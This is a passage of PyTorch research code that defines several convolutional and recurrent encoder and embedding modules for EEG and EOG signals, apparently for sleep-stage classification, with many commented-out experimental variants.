# nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)),
# nn.ReLU()
# )
def forward(self, x):
# x = x.unsqueeze(dim=1)
print(x.shape)
x = self.embedding(x)
print(x.shape)
return x
class EEG_TransferGRU(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
dmodel = 128
modalities = 1
self.inner_gru = nn.GRU(dmodel, dmodel, num_layers=3, bidirectional=False)
self.outer_gru = nn.GRU(dmodel*modalities, dmodel*modalities, num_layers=3, bidirectional=False)
# self.avg = nn.AvgPool2d((1,113))
def forward(self, x):
x_shape = x.shape
if (len(x_shape)>3):
x = x.flatten(start_dim=0,end_dim=1)
x = x.permute(1,0,2)
x, _ = self.inner_gru(x)
# print(x.shape)
x = x.permute(1,2,0).mean(-1) # average pooling
x = x.view([x_shape[0], x_shape[1], -1])
# print(x.shape)
x, _ = self.outer_gru(x)
# print(x.shape)
# x = self.avg(x).flatten(start_dim=1)
# x = x.view([x_shape[0],x_shape[1], -1]).permute(1,0,2)
# x = self.outer_att(x).permute(1,0,2).unsqueeze(dim=2)
return x
class EEG_Embedding_EDF(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
dmodel = 23 #76
# self.embedding = nn.Sequential(
# nn.Linear(dmodel, dmodel),
# nn.ReLU(),
# nn.Linear(dmodel, 16)
# )
self.embedding = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, 128, kernel_size=(1, 5), stride=(1, 2)),
nn.ReLU(),
nn.ReflectionPad2d((2, 2, 1, 1)),
nn.Conv2d(128, 256, kernel_size=(2, 5), stride=(1, 2)),
nn.ReLU(),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(256, 256, kernel_size=(2, 5), stride=(1, 2)),
nn.ReLU(),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(256, 16, kernel_size=(2, 5), stride=(1, 2)),
nn.ReLU(),
nn.AvgPool2d(1,13)
)
# self.embedding = nn.Sequential(
# nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)),
# nn.ReLU()
# )
def forward(self, x):
# x = x.unsqueeze(dim=1)
# b, outer = x.shape[0], x.shape[1]
# x = einops.rearrange(x,"b outer ch mod inner -> (b outer) ch mod inner ")
x = self.embedding(x)
# x = einops.rearrange(x,"(b outer) ch mod inner -> b outer ch mod inner ",b =b, outer= outer)
return x
class EEG_Embedding_EDF_STFT(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
dmodel = dec
self.embedding = nn.Sequential(
nn.Linear(dmodel, dmodel),
nn.ReLU(),
nn.Linear(dmodel, 64)
)
# self.embedding = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(1, 128, kernel_size=(1, 5), stride=(1, 2)),
# nn.ReLU(),
# nn.ReflectionPad2d((2, 2, 1, 1)),
# nn.Conv2d(128, 256, kernel_size=(2, 5), stride=(1, 2)),
# nn.ReLU(),
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(256, 256, kernel_size=(2, 5), stride=(1, 2)),
# nn.ReLU(),
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(256, 16, kernel_size=(2, 5), stride=(1, 2)),
# nn.ReLU(),
# )
# self.embedding = nn.Sequential(
# nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)),
# nn.ReLU()
# )
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> b (outer inner) (mod k) ")
x = self.embedding(x)
x = einops.rearrange(x,"b (outer inner) (mod k) -> b outer inner mod k ", mod =1, inner =self.inner, b=self.batch)
return x
class EEG_Embedding_EDF_STFT_1(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
dmodel = dec
self.conv1 = nn.Sequential(
nn.ReflectionPad2d((1, 1, 2, 2)),
nn.Conv2d(2, 128, kernel_size=(5, 3), stride=(1, 1)),
nn.ReLU())
self.conv2 = nn.Sequential(
nn.ReflectionPad2d((1, 1, 2, 2)),
nn.Conv2d(1, 128, kernel_size=(5, 3), stride=(1, 1)),
nn.ReLU())
self.embedding = nn.Sequential(
nn.ReflectionPad2d((1, 1, 2, 2)),
nn.Conv2d(256, 256, kernel_size=(5, 3), stride=(1, 1)),
nn.ReLU(),
nn.ReflectionPad2d((1, 1, 2, 2)),
nn.Conv2d(256, 1, kernel_size=(5, 3), stride=(1, 1)),
nn.ReLU()
)
# self.embedding = nn.Sequential(
# nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)),
# nn.ReLU()
# )
def forward(self, xeeg, xeog):
x_shape = xeeg.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
xeeg = einops.rearrange(xeeg,"b outer inner mod k -> (b outer) mod k inner ")
xeeg = self.conv1(xeeg)
xeog = einops.rearrange(xeog,"b outer inner mod k -> (b outer) mod k inner ")
xeog = self.conv2(xeog)
x = torch.cat([xeeg, xeog], dim=1)
x = self.embedding(x)
x = einops.rearrange(x,"(b outer) mod k inner -> b outer inner mod k ", mod =1, outer =self.outer, b=self.batch)
return x
class EEG_Embedding_EDF_STFT_2(nn.Module):
def __init__(self, dec, transformer_type):
super().__init__()
dmodel = dec
self.embedding = nn.Sequential(
nn.Linear(dmodel, dmodel),
nn.ReLU(),
nn.Linear(dmodel, 64)
)
# self.embedding = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(1, 128, kernel_size=(1, 5), stride=(1, 2)),
# nn.ReLU(),
# nn.ReflectionPad2d((2, 2, 1, 1)),
# nn.Conv2d(128, 256, kernel_size=(2, 5), stride=(1, 2)),
# nn.ReLU(),
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(256, 256, kernel_size=(2, 5), stride=(1, 2)),
# nn.ReLU(),
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(256, 16, kernel_size=(2, 5), stride=(1, 2)),
# nn.ReLU(),
# )
# self.embedding = nn.Sequential(
# nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)),
# nn.ReLU(),
# nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)),
# nn.ReLU()
# )
def forward(self, x):
x_shape = x.shape
self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3]
x = einops.rearrange(x,"b outer inner mod k -> b (outer inner) (mod k) ")
x = self.embedding(x)
x = einops.rearrange(x,"b (outer inner) (mod k) -> b outer inner mod k ", mod =1, inner =self.inner, b=self.batch)
return x
class EEG_Encoder_best_SEDF_RNN_2(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(1, 10), stride=(1, 3)),
nn.ReLU(),
nn.ReflectionPad2d((2, 2, 1, 1)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.AvgPool2d(kernel_size=(1, 248)),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(1, 10), stride=(1, 3)),
nn.ReLU(),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.AvgPool2d(kernel_size=(1, 248)),
)
self.marn = MARN()
# D_g, D_p, D_e, D_h, D_a = 150, 150, 100, 100, 100
# self.mnc = Multilogue_Net_CategoricalModel(size * dec, size * dec, size * dec, D_g, D_p, D_e, D_h, n_classes=5,
# dropout_rec=0.1, dropout=0.5)
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0]
xeog = x[1]
xeeg = self.conv_0_eeg(xeeg).flatten(start_dim=1,end_dim=2).permute(2,0,1).view([x_shape[0],x_shape[1],-1])
xeog = self.conv_0_eog(xeog).flatten(start_dim=1,end_dim=2).permute(2,0,1).view([x_shape[0],x_shape[1],-1])
x = self.marn(xeeg,xeog)
# x = torch.cat([xeeg,xeog],dim=2)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0],-1])
return x
class EEG_Encoder_best_SEDF_only(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
# self.conv_1_eeg = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# )
# self.conv_1_eog = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# )
# self.conv_2_eeg = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d( size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# )
# self.conv_2_eog = nn.Sequential(
# nn.ReflectionPad2d((2, 2, 0, 0)),
# nn.Conv2d( size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
# nn.ReLU(),
# nn.MaxPool2d(kernel_size=(1, 2)),
# )
self.conv_1 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 1, 1)),
nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
)
self.avg = nn.AvgPool2d((1,187))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0]
xeog = x[1]
xeeg = self.conv_0_eeg(xeeg)
xeog = self.conv_0_eog(xeog)
x = self.conv_1(torch.cat([xeeg, xeog], dim=2))
# xeeg = self.conv_1_eeg(torch.cat([xeeg[:,:,0,:].unsqueeze(dim=2), x, xeeg[:,:,1,:].unsqueeze(dim=2)], dim=2))
# xeog = self.conv_1_eog(torch.cat([xeog, x], dim=2))
x = self.conv_2(x)
# xeeg = self.conv_2_eeg(torch.cat([xeeg[:, :, 0, :].unsqueeze(dim=2), x, xeeg[:, :, 1, :].unsqueeze(dim=2)], dim=2))
# xeog = self.conv_2_eog(torch.cat([xeog, x], dim=2))
x = self.conv_3(x)
# print(x.shape)
# x = torch.cat([xeeg,x,xeog],dim=2)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0],-1])
return x
class EEG_Encoder_best_SEDF_3(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_1_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_1_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_2_eeg = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d( size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_2_eog = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d( size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)),
nn.ReLU(),
nn.MaxPool2d(kernel_size=(1, 2)),
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)),
nn.ReLU(),
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad2d((2, 2, 0, 0)),
nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)),
nn.ReLU(),
)
self.avg = nn.AvgPool2d((1,187))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0]
xeog = x[1]
xeeg = self.conv_0_eeg(xeeg)
xeog = self.conv_0_eog(xeog)
xeeg = self.conv_1_eeg(xeeg)
xeog = self.conv_1_eog(xeog)
x = self.conv_2(torch.cat([xeeg, xeog], dim=2))
xeeg = self.conv_2_eeg(torch.cat([xeeg[:, :, 0, :].unsqueeze(dim=2), x, xeeg[:, :, 1, :].unsqueeze(dim=2)], dim=2))
xeog = self.conv_2_eog(torch.cat([xeog, x], dim=2))
x = self.conv_3(torch.cat([xeeg, xeog], dim=2))
x = torch.cat([xeeg,x,xeog],dim=2)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0],-1])
return x
class EEG_Encoder_best_SEDF_Conv1_1(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(3, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2* size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2*size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2* size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2*size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_0 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(3, 1, kernel_size= 5),
nn.ReLU(),
)
self.conv_1 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, 2*size * dec, kernel_size= 5),
nn.ReLU(),
)
self.avg = nn.AvgPool1d((187))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0].squeeze(dim=1)
xeog = x[1].squeeze(dim=1)
x = self.conv_0(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_0_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_0_eog(torch.cat([xeog, x], dim=1))
x = self.conv_1(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_1_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_1_eog(torch.cat([xeog, x], dim=1))
x = self.conv_2(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_2_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_2_eog(torch.cat([xeog, x], dim=1))
x = self.conv_3(torch.cat([xeeg, xeog], dim=1))
x = torch.cat([xeeg,x,xeog],dim=1)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0],-1])
return x
class EEG_Encoder_best_SEDF_Conv1_2(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2, size * dec, kernel_size=5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(1, size * dec, kernel_size=5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size=5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size=5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size=5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size=5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size=5),
nn.ReLU(),
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size=5),
nn.ReLU(),
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, 2 * size * dec, kernel_size=5),
nn.ReLU(),
)
self.avg = nn.AvgPool1d((187))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape) > 4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0].squeeze(dim=1)
xeog = x[1].squeeze(dim=1)
xeeg = self.conv_0_eeg(xeeg)
xeog = self.conv_0_eog(xeog)
x = self.conv_1(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_1_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_1_eog(torch.cat([xeog, x], dim=1))
x = self.conv_2(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_2_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_2_eog(torch.cat([xeog, x], dim=1))
x = self.conv_3(torch.cat([xeeg, xeog], dim=1))
x = torch.cat([xeeg, x, xeog], dim=1)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0], -1])
return x
class EEG_Encoder_best_SEDF_Conv1_3(nn.Module):
def __init__(self, dec, _):
super().__init__()
size = 64
self.conv_0_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_0_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(1, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_1_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2_eeg = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2* size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2_eog = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2*size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
nn.MaxPool1d(kernel_size=2),
)
self.conv_2 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, size * dec, kernel_size= 5),
nn.ReLU(),
)
self.conv_3 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2 * size * dec, 2*size * dec, kernel_size= 5),
nn.ReLU(),
)
self.avg = nn.AvgPool1d((187))
def forward(self, x):
x_shape = x[0].shape
flag_seqtoseq = False
if len(x_shape)>4:
flag_seqtoseq = True
for i in range(len(x)):
x[i] = x[i].flatten(start_dim=0, end_dim=1)
xeeg = x[0].squeeze(dim=1)
xeog = x[1].squeeze(dim=1)
xeeg = self.conv_0_eeg(xeeg)
xeog = self.conv_0_eog(xeog)
xeeg = self.conv_1_eeg(xeeg)
xeog = self.conv_1_eog(xeog)
x = self.conv_2(torch.cat([xeeg, xeog], dim=1))
xeeg = self.conv_2_eeg(torch.cat([xeeg, x], dim=1))
xeog = self.conv_2_eog(torch.cat([xeog, x], dim=1))
x = self.conv_3(torch.cat([xeeg, xeog], dim=1))
x = torch.cat([xeeg,x,xeog],dim=1)
x = self.avg(x)
if flag_seqtoseq:
x = x.view([x_shape[0], x_shape[1], -1])
else:
x = x.view([x_shape[0],-1])
return x
class EEG_Encoder_AttConv_2d(nn.Module):
def __init__(self, dec):
super().__init__()
# self.pad1 = nn.ReflectionPad2d((2, 2, 1, 1))
# self.dy_conv_0 = nn.Conv2d(1, 64 * dec, kernel_size= (1,5), stride=1)
# # nn.Conv2d(256 * dec, 256 * dec, kernel_size= (1,5) , stride=1, groups= 256 * dec),
# # nn.ReLU(),
# # nn.ReflectionPad2d((0, 0, 1, 1)),
# # nn.Conv2d(256 * dec, 512 * dec, kernel_size=(2, 1), stride=1),
# self.relu = nn.ReLU()
# self.maxpool = nn.MaxPool2d(kernel_size=(1, 2))
#
# self.pad0 = nn.ReflectionPad2d((2, 2, 0, 0))
# self.dy_conv_1 = nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=1)
# self.dy_conv_2 = Dynamic_conv2d(128 * dec, 16 * dec, kernel_size=(2, 5), stride=1, K=6)
# self.dy_conv_3 = Dynamic_conv2d(16 * dec, 16 * dec, kernel_size=(3, 3), stride=1, K=6)
#
# # nn.Conv2d(512 * dec, 512 * dec, kernel_size=(1, 5), stride=1, groups= 512 * dec),
# # nn.ReLU(),
# # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 1), stride=1),
# # nn.ReLU(),
#
# # AttentionConv(128 * dec, 16 * dec, kernel_size= (3, 5), stride=1, padding=[2,2,1,1]),
# # nn.ReLU(),
# self.avg = nn.AvgPool2d((1, 56))
# self.conv2 = nn.Sequential( DynamicConv(7200*8, 3, num_heads=3),
# nn.ReLU(),
# nn.AvgPool2d((1, 56))
# )
# import random
# self.rands = random.sample(range(8), 8)
def forward(self, x):
# temp1 = copy.deepcopy(x[:,:,1,:])
# temp3 = copy.deepcopy(x[:,:,3,:])
# x[:, :, 1, :] = x[:,:,4,:]
# x[:, :, 3, :] = x[:,:,6,:]
# x[:, :, 4, :] = temp1
# x[:, :, 6, :] = temp3
# x = self.conv(x)
# x = self.pad0(x)
# x = self.dy_conv_0(x)
# x = self.relu(x)
# x = self.maxpool(x)
# x = self.pad1(x)
# x = self.dy_conv_1(x)
# x = self.relu(x)
# x = self.maxpool(x)
# x = self.pad0(x)
# x = self.dy_conv_2(x)
# x = self.relu(x)
# x = self.pad0(x)
# x = self.dy_conv_3(x)
# x = self.relu(x)
# # print(x.shape)
# x = self.avg(x)
return self.conv(x)
class EEG_Encoder_MTMM(nn.Module):
def __init__(self, dec):
super().__init__()
self.convX1 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(2, 128 * dec, kernel_size=5, stride=1),
nn.ReLU(),
nn.Conv1d(128 * dec, 256 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convZ1 = nn.Sequential(
nn.ReflectionPad1d(2),
nn.Conv1d(1, 64 * dec, kernel_size=5, stride=1),
nn.ReLU(),
nn.Conv1d(64 * dec, 128 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convX2 = nn.Sequential(
nn.MaxPool1d(4),
nn.ReflectionPad1d(1),
nn.Conv1d(256 * dec, 256 * dec, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv1d(256 * dec, 128 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convZ2 = nn.Sequential(
nn.MaxPool1d(4),
nn.ReflectionPad1d(1),
nn.Conv1d(128 * dec, 128 * dec, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv1d(128 * dec, 64 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convX3 = nn.Sequential(
nn.MaxPool1d(4),
nn.ReflectionPad1d(1),
nn.Conv1d(128 * dec, 64 * dec, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv1d(64 * dec, 16 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.convZ3 = nn.Sequential(
nn.MaxPool1d(4),
nn.ReflectionPad1d(1),
nn.Conv1d(64 * dec, 32 * dec, kernel_size=3, stride=1),
nn.ReLU(),
nn.Conv1d(32 * dec, 16 * dec, kernel_size=1, stride=1),
nn.ReLU(),
)
self.avg = nn.AvgPool1d(14)
self.mmtm1 = MMTM(128 * dec, 128 * dec, 900)
self.mmtm2 = MMTM(64 * dec, 64 * dec, 225)
self.mmtm3 = MMTM(16 * dec, 16 * dec, 56)
def forward(self, x):
x_shape = x.shape
z = x[:,1].unsqueeze(dim=1)
x = x[:,0].unsqueeze(dim=1)
x = torch.cat([x,z],dim=1)
x = self.convX1(x)
# z = self.convX1(z)
# x, z = self.mmtm1(x,z)
x = self.convX2(x)
# z = self.convX2(z)
# x, z = self.mmtm2(x,z)
x = self.convX3(x)
# z = self.convX3(z)
# x, z = self.mmtm3(x,z)
x = self.avg(x)
# z = self.avg(z)
